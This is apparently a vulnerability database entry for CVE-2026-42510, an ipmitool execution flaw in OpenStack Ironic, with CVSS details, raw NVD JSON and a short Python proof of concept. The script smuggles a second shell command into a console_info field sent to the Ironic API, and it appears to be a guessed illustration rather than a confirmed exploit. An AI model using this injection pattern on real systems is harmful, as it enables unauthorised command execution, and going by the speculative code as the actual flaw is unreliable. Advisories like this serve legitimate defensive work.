Security Vulnerability Report
中文
CVE-2026-42510 CVSS 6.6 MEDIUM

CVE-2026-42510

Published: 2026-04-28 06:16:04
Last Modified: 2026-05-20 17:16:23

Description

OpenStack Ironic before 35.0.1 allows ipmitool execution in a non-default configuration that has a console interface.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OpenStack Ironic < 35.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target Ironic API endpoint for a specific node TARGET_URL = "http://ironic-api:6385/v1/nodes/{node_uuid}/console" ADMIN_TOKEN = "<admin_token>" # Requires High Privilege (PR:H) NODE_UUID = "<target_node_uuid>" # Malicious payload intended to exploit ipmitool execution # This simulates injecting a command chain via the console interface configuration PAYLOAD = { "enabled": True, "console_info": "ipmitool -H <bmc_ip> -U admin -P pass sol activate; touch /tmp/pwned; #" } headers = { "X-Auth-Token": ADMIN_TOKEN, "Content-Type": "application/json" } try: response = requests.put(TARGET_URL.format(node_uuid=NODE_UUID), json=PAYLOAD, headers=headers) if response.status_code == 200 or response.status_code == 202: print("[+] PoC request sent successfully. Check host for command execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42510", "sourceIdentifier": "[email protected]", "published": "2026-04-28T06:16:04.100", "lastModified": "2026-05-20T17:16:22.640", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenStack Ironic before 35.0.1 allows ipmitool execution in a non-default configuration that has a console interface."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "references": [{"url": "https://bugs.launchpad.net/ironic/+bug/2148331", "source": "[email protected]"}, {"url": "https://security.openstack.org/ossa/OSSA-2026-008.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/30/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}